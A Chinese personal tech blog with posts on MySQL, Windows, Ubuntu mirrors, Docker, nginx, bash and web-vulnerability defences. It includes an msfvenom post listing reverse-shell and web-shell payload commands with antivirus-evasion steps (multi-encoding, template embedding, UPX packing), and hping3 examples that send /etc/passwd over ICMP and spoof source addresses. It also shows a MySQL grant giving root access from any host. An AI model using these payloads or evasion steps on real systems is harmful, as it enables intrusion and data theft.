2023-10-27

MySQL报错:#1067 – Invalid default value for comment_date

我记得以前使用这个命令是没有问题的,网上找了一翻,发现是mysql的问题了,以前我使用的mysql5.6,前不久刚升级到5.7,使用网上的方法竟然可行。

直接按网上教程修改mysql的配置文件my.cnf,编辑my.cnf

1
vim /etc/my.cnf

在[mysqld]下面添加如下内容:

1
sql_mode=ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION

保存后,重启mysql,再执行修改自增id的命令,一切正常了。

2023-10-03

Win10完美去除桌面快捷图标小箭头

今天,给大家分享一个如何完美去除Win10桌面快捷图标小箭头的技巧,希望能够给大家带来帮助。

去掉小箭头

1
2
3
4
5
6
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
taskkill /f /im explorer.exe
attrib -s-r-h"%userprofile%\AppData\Local\iconcache.db"
del "%userprofile%\AppData\Local\iconcache.db" /f /q
start explorer
pause

复制上面的代码。新建一个文本文件。粘贴后另存为.bat文件,然后以管理员身份打开。

ok!

恢复小箭头

1
2
3
4
5
6
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /f
taskkill /f /im explorer.exe
attrib -s-r-h"%userprofile%\AppData\Local\iconcache.db"
del "%userprofile%\AppData\Local\iconcache.db" /f /q
start explorer
pause

同理,将上述代码另存为.bat文件,管理员身份打开。就可恢复小箭头了。

这种方法不会导致任何问题可放心使用

来源:https://blog.51cto.com/binghe001/5246920

2023-08-22

ubuntu 22.04国内镜像源

Ubuntu 22.04 LTS这是一个长期支持版本,它将被支持五年,直到2027年4月。已发布的LTS版本带来了一些新的功能。

如果你正在使用Ubuntu 20.04 LTS,你会注意到许多视觉上的变化。

当然作为国内用户首要任务安装完成之后首要任务就是更改ubuntu 22.04的镜像/软件源。

国内有很多Ubuntu 22.04的镜像源,包括阿里、网易,还有很多教育网的镜像源,比如清华源、中科大源。

在教程中我们将介绍如何更改镜像在ubuntu 22.04。国内的包括有镜像阿里云/163源/清华大学/中科大。

首先我们需要先备份Ubuntu官方的软件源,执行以下命令将备份原来的软件源。

1
sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak

清华大学镜像

清华大学开源软件镜像站,致力于为国内和校内用户提供高质量的开源软件镜像、Linux镜像源服务。

帮助用户更方便地获取开源软件。镜像站由清华大学TUNA协会负责运行维护。

复制以下命令即可一键切换到清华大学ubuntu 22.04镜像:

1
2
3
4
5
6
7
8
9
10
11
sudo bash -c "cat << EOF > /etc/apt/sources.list && apt update 
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse
EOF"

163镜像

1
2
3
4
5
6
7
8
9
10
11
12
sudo bash -c "cat << EOF > /etc/apt/sources.list && apt update 
deb http://mirrors.163.com/ubuntu/ jammy main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ jammy-security main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ jammy-updates main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ jammy-proposed main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ jammy-backports main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ jammy main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ jammy-security main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ jammy-updates main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ jammy-proposed main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ jammy-backports main restricted universe multiverse
EOF"

阿里云镜像

阿里巴巴开源镜像站,免费提供Linux镜像下载服务,拥有Ubuntu、CentOS、Deepin、MongoDB、Apache、Maven、Composer等多种开源软件镜像源。

此外还提供域名解析DNS、网络授时NTP等服务,致力于为互联网用户提供全面,高效和稳定的基础服务。

复制以下命令即可一键切换到阿里云 ubuntu 22.04镜像:

1
2
3
4
5
6
7
8
9
10
11
12
sudo bash -c "cat << EOF > /etc/apt/sources.list && apt update 
deb http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ jammy-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverse
EOF"

中科大镜像

中国科学技术大学开源软件镜像由中国科学技术大学网络信息中心提供支持。

mirrors.ustc.edu.cn是Debian, Ubuntu, Fedora, Archlinux, CentOS等多个发行版的官方源。目前是中国大陆高校访问量最大,收录最全的开源软件镜像。

中国科学技术大学Linux用户协会是由中国科学技术大学在校的GNU/Linux爱好者发起并组成的一个全校性群众团体。

成立协会的目的在于联合科大的GNU/Linux使用者,搭建信息交流共享的平台,宣传自由软件的价值,提高自由软件社区文化氛围,推广自由软件在科大校园乃至合肥地区的应用。

复制以下命令即可一键切换到中科大ubuntu 22.04镜像:

1
2
3
4
5
6
7
8
9
10
11
12
sudo bash -c "cat << EOF > /etc/apt/sources.list && apt update 
deb https://mirrors.ustc.edu.cn/ubuntu/ jammy main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ jammy main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ jammy-security main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ jammy-security main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ jammy-proposed main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ jammy-proposed main restricted universe multiverse
EOF"

2023-08-15

解决CentOS 7出现docker-compose: command not found

安装docker-compose

既然使用了docker-compose那自然得安装了。在GitHub上拉取过慢,建议在国内源DaoCloud中拉取:

1
curl -L https://get.daocloud.io/docker/compose/releases/download/1.29.2/docker-compose-`uname -s`-`uname -m` > /usr/local/soft/docker-compose

其中的/usr/local/soft/docker-compose为自己想要安装的docker-compose的路径,可自行修改

给Docker-Compose赋予权限

1
chmod +x /usr/local/soft/docker-compose

目录与上述一致

安装Docker-Compose插件

1
2
3
4
yum -y install epel-release
yum install python3-pip
pip3 install --upgrade pip
pip3 install docker-compose

修改指向

凡是在之前修改了安装地址都需要修改指向

1
ln -sf /usr/local/soft/docker-compose /usr/local/bin/docker-compose

让/usr/local/soft/docker-compose 指向 /usr/local/bin/docker-compose,以避免出现以下问题:

-bash: /usr/local/bin/docker-compose: No such file or directory

确认版本

1
docker-compose --version

2023-08-14

linux nginx服务器域名泛解析配置

要配置泛解析域名就需要先到网站所在的DNS服务商处设置A记录。

列如要解析www.liezi.net,请在主机记录(RR)处填写www

常见命名前缀包括:

www: 解析后域名为 www.liezi.net

@ 或 空值(不填写): 直接解析域名,使主机记录为空,解析后的域名为 liezi.net

Mail: 通常被用作邮箱服务器前缀,解析后的域名为 mail.liezi.net

* : 表示泛解析,所有子域名均被解析到同一地址(除单独设置的子域名解析)。 这里我要将所有的前缀都指向到我的IP所在服务器

下面以本站为例 设置记录类型 A,主机记录 *,记录值IP。

设置好后还需要在服务器中的 www.liezi.net的配置中 设置 更改 server_name www.liezi.net 为 server_name *.liezi.net

另外如果需要将liezi.net也解析为 www.liezi.net需要再建一个 虚拟主机配置文件 并将里面设置为server_name liezi.net; 重新加载后即可,效果就如本小站效果一样了。 如果有更好的方法欢迎指教。

使用nginx+docker实现多域名单服务器去端口访问

源起

这个问题的产生源于一个十分基础的需求——在一个服务器上部署多个网页。特别的,此处指以 Docker 部署的网页。

一般来说,想要访问某一个服务器上不同的网络服务只需要在宿主机上开启不同的网络端口同时使用端口映射将容器的80端口映射至其上即可,例如分别运行 docker run -p 8080:80 container1 和 docker run -p 8081:80 container2 即可通过 <8080>和<8081>访问到不同的服务,但是这样十分不优雅,在实际生活过程中,应该很难见到需要用户手动输入端口号的网页。所以我们不得不考虑,如何去除端口号。

方案

答案是反向代理,通过nginx来监听80端口,同时记录访问的域名来将请求代理至具体的容器。尽管我依照教程(如这篇文章Deploying multi-domain applications in a single host with Docker and Nginx (reiland.dev))来操作,但都无法成功。(大部分教程的代码都是一样的,国内尤其如此)

通过排查最终确定,失败的原因是,这些教程中的nginx都是直接安装在宿主机上的,而我希望的实现方式是在docker中直接使用nginx的容器。在意识到问题的基础上,通过合适的配置,最终实现的希望的效果。

示例

先看看最终的实现方式 如下是示例项目的结构,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
demo1
├── dist
│ ├── assets
│ │ ├── index.4e29489a.js
│ │ └── index.e3b0c442.css
│ ├── favicon.ico
│ ├── index.html
│ └── README.md
|
demo1
├── dist
│ ├── assets
│ │ ├── index.4e29489a.js
│ │ └── index.e3b0c442.css
│ ├── favicon.ico
│ ├── index.html
│ └── README.md
|
proxy
├── nginx
│ └── default.conf
|
deploy.sh

其中deploy.sh内容如下(将几个命令保存为shell脚本,便于修改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 先部署nginx进行代理
docker run \
-d --name proxy \
-p 80:80 \
--mount type=bind,source=/root/proxy/nginx,target=/etc/nginx/conf.d nginx

# 第一个项目
docker run \
-p 8080:80 \
-d --name demo1 \
--mount type=bind,source=/root/demo/dist,target=/usr/share/nginx/html nginx

# 第二个项目
docker run \
-p 8081:80 \
-d --name demo2 \
--mount type=bind,source=/root/demo/dist,target=/usr/share/nginx/html nginx

其中proxy/nginx/default.conf文件的内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
server {
listen 80;
server_name <domain1>;
# domain1 应该替换为要代理的域名 eg:www.test1.cn
# domain2 同理
location / {
proxy_pass http://<docker0 inet>:8081;
# 此处的docker0 inet为docker的网桥
# 可以通过 ifconfig 查看,或者 netstat -rn
# 例如:172.17.0.1(需自己调整)
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}

server {
listen 80;
server_name <domain2>;
location / {
proxy_pass http://<docker0 inet>:8080;
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}

简单解释一下就是,先运行一个nginx容器,负责监听80端口的请求,并按规则转发,然后再分别运行需要代理的服务(不一定是nginx的项目),其中的在很多教程中说是要使用服务器的ip地址,这其实只在nginx安装在了宿主机上的时候有效。在将nginx也容器化之后就需要改为docker 的网桥。

值得注意的是,在每次修改nginx的配置文件之后都必须通过 nginx -s reload 使其生效 。同样的,在容器化之后也必须进入相应的容器执行这一命令,具体为docker exec -it <container_id> bash进入相应的容器,然后再执行nginx -s reload

最后

如果我们只希望部署一个项目,那么可以使用如下方式,通过挂载项目目录和配置文件的方式来部署nginx项目

1
2
3
4
5
docker run \
-p 80:80 \
-d --name demo \
--mount type=bind,source=/root/demo/nginx,target=/etc/nginx/conf.d \
--mount type=bind,source=/root/demo/dist,target=/usr/share/nginx/html nginx

2023-08-11

window 如何完整的卸载 wsl ubutun

以下是将 WSL Ubuntu 完全卸载的步骤:

  1. 首先,打开 Powershell 或者命令提示符。

  2. 运行以下命令以查看您拥有的所有发行版本:

1
2
wsl -l -v

  1. 找到 Ubuntu 的发行版本名称,并运行以下命令来停止该发行版本:
1
wsl --terminate <Ubuntu 发行版名称>
  1. 运行以下命令,以确保 Ubuntu 的启动目录和状态都已被删除:
1
wsl --unregister <Ubuntu 发行版名称>
  1. 如果您希望将 Ubuntu 目录中的文件完全删除,请手动删除 WSL Ubuntu 安装的目录,默认情况下它位于以下路径:
1
C:\Users\<用户名>\AppData\Local\Packages\

您可以从其中找到名为“CanonicalGroupLimited.UbuntuXX.XX”的文件夹。

注意:卸载 WSL 发行版不会影响与 WSL 相关的任何个人文件或数据。

2023-08-10

shell – ()和{}

  1. 在 bash shell 中,$()是将括号内命令的执行结果赋值给变量:
1
2
3
4
5
6
(base) zeng@zeng-X11DAi-N:~/workspace$ ls
a.sh data.sh results.txt
#将命令 ls 赋值给变量 a
(base) zeng@zeng-X11DAi-N:~/workspace$ a=$(ls)
(base) zeng@zeng-X11DAi-N:~/workspace$ echo $a
a.sh data.sh results.txt
  1. 是用来作变量替换。一般情况下,var 与 并没有啥不一样。但是用 {} 会比较精确的界定变量名称的范围:
1
2
3
4
5
6
7
(base) zeng@zeng-X11DAi-N:~/workspace$ A=B
#目的想打印变量A,然后再加上一个B,结果返回无。
(base) zeng@zeng-X11DAi-N:~/workspace$ echo $AB
#此时,${ }可以较为精确的确定变量的范围
(base) zeng@zeng-X11DAi-N:~/workspace$ echo ${A}B
BB
(base) zeng@zeng-X11DAi-N:~/workspace$
  1. ${ } 的一些特殊功能:
    假设我们定义了一个变量为:file=/dir1/dir2/dir3/my.file.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
${file#*/}:拿掉第一条 / 及其左边的字符串:dir1/dir2/dir3/my.file.txt
${file##*/}:拿掉最后一条 / 及其左边的字符串:my.file.txt
${file#*.}:拿掉第一个 . 及其左边的字符串:file.txt
${file##*.}:拿掉最后一个 . 及其左边的字符串:txt
${file%/*}:拿掉最后条 / 及其右边的字符串:/dir1/dir2/dir3
${file%%/*}:拿掉第一条 / 及其右边的字符串:(空值)
${file%.*}:拿掉最后一个 . 及其右边的字符串:/dir1/dir2/dir3/my.file
${file%%.*}:拿掉第一个 . 及其右边的字符串:/dir1/dir2/dir3/my

记忆的方法为:
# 是去掉左边(在鉴盘上 # 在 $ 之左边)
% 是去掉右边(在鉴盘上 % 在 $ 之右边)
单一符号是最小匹配﹔两个符号是最大匹配。
${file#/}(不加*号)表示只去掉最左边的/

2023-02-10

XSS、CSRF、SSRF联系&区别,防御

联系和区别

相同点

XSS,CSRF,SSRF三种常见的Web服务端漏洞均是由于,服务器端对用户提供的可控数据过于信任或者过滤不严导致的。

不同点

XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染服务器返回的html页面时,出现了预期值之外的脚本语句被执行。

CSRF(跨站请求伪造)是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。

SSRF(服务端请求伪造)是服务器对用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。

防御

xss修复方式

对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码

a)HttpOnly属性

   为Cookie中的关键值设置httponly属性,众所周知,大部分XSS(跨站脚本攻击)的目的都是通过浏览器的同源策略,来获取用户Cookie,从而冒充用户登陆系统的。

   如果为Cookie中用于用户认证的关键值设置httponly属性,浏览器将会禁止js通过同源策略访问cookie中设有httponly属性的信息,因此以劫持用户认证cookie为目的XSS攻击将会失败。

    但很明显,只为cookie中的值设置Httponly是不够的,因为XSS攻击并不是只能获取用户COOKIE,它还可以窃取用户浏览器信息,模拟用户身份执行操作等等

b) 对输入和URL参数进行过滤(白名单和黑名单

c)对输出进行编码

在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。如果使用好的话,理论上是可以防御住所有的XSS攻击的。对所有要动态输出到页面的内容,通通进行相关的编码和转义。当然转义是按照其输出的上下文环境来决定如何转义的。

  1. 作为body文本输出,作为html标签的属性输出

比如:
{username}”></c:out>

此时的转义规则如下:

< 转成 <

转成 >

& 转成 &

” 转成 "

‘ 转成 &#39

  1. javascript事件

```

除了上面的那些转义之外,还要附加上下面的转义:

\ 转成 \

/ 转成 /

; 转成 ;(全角;)

  1. URL属性

如果 <script>, <style>, <imt> 等标签的 src 和 href 属性值为动态内容,那么要确保这些url没有执行恶意连接。

确保:href 和 src 的值必须以 http://开头,白名单方式;不能有10进制和16进制编码字符

cfrs修复方式

筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer.

a)Referer头检测法
Referer标识当前请求的来源页面,浏览器访问时除了自动带上Cookie还会自动带上Referer,所以服务端可以检测Referer头是否本网站页面来决定是否响应请求。

Referer是浏览器自动带上的,基于认为浏览器没有相关漏洞的前提下,我们可以认为攻击者是没法伪造Referer头的,也就是检测Referer头的方法是可靠的。

但该方式有时会不受认可,一是因为浏览器是可以设置禁止发送Referer头的,如果使用该方式那么禁止Referer头的浏览将无法正常使用,这可能会降低用户使用体验。二是因为由于移动端的崛起当下流行前后端分离app和web共用一套后端代码,但app是不会自动带Referer头的,如果使用该方式app端不好处理。

b)token检测法
token就是服务端返回给客户端类似sessionid那样一长串的类值(长是为了防暴力猜解)。csrf依赖于浏览器该问链接时自动对应网站的cookie带上,token不放cookie(一般form表单加个hidden属性的input标签来存放)csrf就没法获取token,这样我们就可以通过检测发送过来的数据包中是否有正确的token值来决定是否响应请求。

在讲清token防御的原理后,我们再来讲token的设计,因为token方式给人的感觉很复杂令人望而生畏。

我们首先明确一个问题,就是能够防止csrf攻击的token,并不需要每次请求都不一样,在用户登录后到退出前的这整个过程中的所有请求token完全可以是一样。因为(在基于没有其他漏洞会泄漏本次会话的token的设想下)黑客是无法获取用户的tokne,所以又何必每个请求都要生成一个新的token呢。(token每次请求都要不一样的想法是受防重放攻击的影响)只考滤防csrf不考滤防重放的情况下,token设计就简单多了。

使用sessionid作为token设计:在csrf中cookie是浏览器自己带上的,本质而言用户的sessionid并未丢失(也就是攻击者并不能知道sessionid是多少),基于此我们完全可以不用另传一个值只需直接将sessionid作为token即可(或者也可以做些运算比如取sessionid的某些值做个md5来做为token,意思都差不多)。判断代码类似 if session["id"] == $_POST["token"]

与sessionid同时返回的token设计:在生成sessionid的同时生成一个token(服务端token可以存于session变量中)返回给客户端,客户端保存该token每次请求时都在form表单中提交该值。判断代码类似if session["token"] == $_POST["token"]

ssrf修复方式

  1. 限制协议为HTTP、HTTPS

  2. 不用限制302重定向

  3. 设置URL白名单或者限制内网IP

面试题

CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。 CSRF是跨站请求伪造攻击,是由于没有在关键操作执行时进行是否由用户自愿发起的确认,模仿合法用户对服务器发起请求 。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

CSRF、SSRF和重放攻击有什么区别?

CSRF是服务器端没有对用户提交的数据进行严格的把控,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。而SSRF是服务器对用户提供的可控URL地址过于信任,没有经过严格检测,导致攻击者可以以此为跳板攻击内网或其他服务器。

CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

2023-08-07

pip2安装pwntools报错error: invalid command ‘egg_info‘

报错信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ pip2 install pwntools
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.
Defaulting to user installation because normal site-packages is not writeable
Collecting pwntools
Using cached pwntools-4.8.0-py2.py3-none-any.whl (11.7 MB)
Collecting sortedcontainers
Downloading sortedcontainers-2.4.0-py2.py3-none-any.whl (29 kB)
Collecting python-dateutil
Downloading python_dateutil-2.8.2-py2.py3-none-any.whl (247 kB)
|████████████████████████████████| 247 kB 43 kB/s
Collecting pysocks
Downloading PySocks-1.7.1-py27-none-any.whl (16 kB)
Collecting intervaltree>=3.0
Using cached intervaltree-3.1.0.tar.gz (32 kB)

解决办法:安装setuptools

1
pip2 install --upgrade pip setuptools

重新安装pwntools

1
2
pip2 install pwntools
#成功

Python2安装pip的方法

1
2
3
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py
sudo apt-get install python-dev # for python2.x installs

2023-08-03

Bind for 0.0.0.0:80 failed: port is already allocated.解决方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#查看进程,发现相关的容器并没有在运行,而 docker-proxy 却依然绑定着端口:

$ docker ps

#检查docker镜像

$ ps -aux | grep -v grep | grep docker-proxy

#查看被docker-proxy占用的端口

#停止 doker 进程,删除所有容器,然后删除 local-kv.db 这个文件,再启动 docker 就可以了。

$ sudo service docker stop
$ docker rm $(docker ps -aq)
$ sudo rm /var/lib/docker/network/files/local-kv.db
$ sudo service docker start


2023-08-01

hping3命令 – 测试网络及主机的安全

hping3命令是用于生成和解析TCPIP协议数据包的开源工具,也是安全审计、防火墙测试等工作的标配工具 。

目前最新版是hping3,支持使用tcl脚本自动化地调用其API。优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

语法格式:hping3 [参数]

常用参数: -c 发送数据包的次数 -m 设置TCP序列数 -v 版本信息 -I 网卡接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#参考实例

#对目标端口扫描:

[root@linuxcool ~]# hping3 -I eth0 -S 192.168.10.1 -p 80

#测试目标防火墙:

[root@linuxcool ~]# hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

#在发送端使用签名打包的ICMP包发送文件:

[root@linuxcool ~]#hping3 192.168.1.108 --icmp -d 100 --sign signature --file /etc/passwd

#很直观的看到TTL的变化:

[root@linuxcool ~]# hping3 -z 192.168.0.107

#使用随机地址伪装自己的地址:

[root@linuxcool ~]# hping3 --rand-source 192.168.0.107

原文链接:https://www.linuxcool.com/hping3

2022-04-18

msfvenom 使用

木马连接方式

  1. 正向连接(bind)是我主动去连接别人机器上的某个端口,很显然,这样极易被对方防火墙拦掉

  2. 反向连接(reverse)是让别人机器上的某个端口上的流量主动连到我机器上的某个端口上,起码暂时对各类应用层防火墙的穿透效果还是蛮不错的

msfvenom 常用选项

1
2
3
4
5
6
7
8
9
10
-l 列出所有可用的payload,编码器,空指令……
-p 指定要使用的msf的payload,也可以使用自定义payload,几乎是支持全平台的
-f 指定payload输出的文件类型,–help-formats,可查看支持的所有输出格式
-e 指定要使用那种编码器
-i 指定编码的次数,如果使用编码器
-b 指定坏字符,比如空字符截断问题,等等……
-x 使用一个自定义可执行程序模板,并将payload嵌入其中
-k 当模板被执行时,payload自动分离并注入到新的进程中,一般和-x选项一并使用
-o 指定创建好的payload的存放位置

使用msf创建监听器

1
2
3
4
5
6
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

创建Metasploit payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
直接使用msfvenom生成的反弹shell程序一般都会被杀毒软件无情差杀掉
避免被查杀的最普遍方法是编码,简单来说就是改变可执行文件中的代码形状,从而让只识别静态特征码的杀毒软件无法识别,且当木马运行之后,木马会将原始程序解码到内存中,如此木马原来的功能自然也不会受到影响

可以使用x86/shikata_ga_nai 动态编码器进行混淆,简单单次混淆一般都能被杀毒软件先解码再查杀识别出来,那么尝试使用 多重编码器多次混淆

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i5 -f raw | msfvenom -e x86/shikkata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -b '\x00\x0a\xff' -f exe -o shell.exe

如果进行多次编码的马儿还是被查杀,可以尝试 更换可执行文件模板,重新生成木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -x putty.exe -k -i 5 -f exe -o shell.exe

发现更换可执行文件模板的马儿依然被查杀,编码和更换模板都行不通,可以试试 加壳。软件加壳基本原理就是对可执行文件进行加密压缩,执行之后将代码解压为原始程序,这里分别使用5、9级别upx加壳等级对木马进行加壳

upx -5 shell.exe -o upx5_shell.exe
upx -9 shell.exe -o upx9_shell.exe

将木马藏在可执行文件里面,文件的md5值会发生改变,杀毒软件将文件与官方原版文件进行对比即可判断是否异常,这里 换一个不常见的可执行文件模板(可以是自己写的)
还有可以不直接生成可执行文件,而是 生成c代码

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -i 15 -b '\x00\' -f c -o shell.c

利用编译器编译生成可执行文件来绕过杀软

windows平台

# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o x86_shell.exe
# msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<ip> LPORT=<port> -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1
linux平台

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf -o shell.elf

mac平台

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f macho -o x86_shell.macho

android平台

# msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f apk -o x86_shell.apk

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.php
ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp -o shell.asp
JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.jsp
WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war -o shell.war
Script Payloads

Python

msfvenom -p python/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o rshell.py
Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<ip> LPORT=<port> -f raw -o shell.pl
Node.js

msfvenom -p nodejs/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.js
Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=<port> -f raw -o shell.sh
ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o x86_shell.rb
lua

msfvenom -p cmd/unix/reverse_lua LHOST=<ip> LPORT=<port> -f raw -o x86_shell.lua

来源:https://www.pa55w0rd.online/msfvenom _use/

2022-03-19

mysql远程登录

  1. 先在服务器中通过命令行方式(打开phpstudy界面->右下角其他菜单选项->MySQL工具->MySQL命令行)

登录mysql:mysql -u root -p 密码 (如果mysql初始账号和密码都是root)

  1. 执行use mysql;

  2. 执行grant all privileges on *.* to root@’%’ identified by ‘密码’;

  3. 执行flush privileges;

2022-02-15

ubuntu18.04 docker配置国内镜像源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 编辑daemon.json文件,文件不存在则新建
sudo vim /etc/docker/daemon.json

# 在daemon.json文件中配置网易云地址
# 阿里云需要注册云账户
# 中科大速度较慢,且部分docker镜像会安装失败
# 七牛的速度也较慢
# 综上:选择网易云镜像地址
# 注意事项: 请将https改为http,由于https含有ssl加密机制,所以http速度能快些

{"registry-mirrors":["http://hub-mirror.c.163.com/"]}

# 重新加载daemon文件
sudo systemctl daemon-reload

# 重启docker服务
sudo systemctl restart docker.service

# 查看是否配置成功
sudo docker info

来源:https://www.cnblogs.com/wxhou/p/14348444.html

2022-02-08

Quarks PwDump各种32位64系统获取HASH

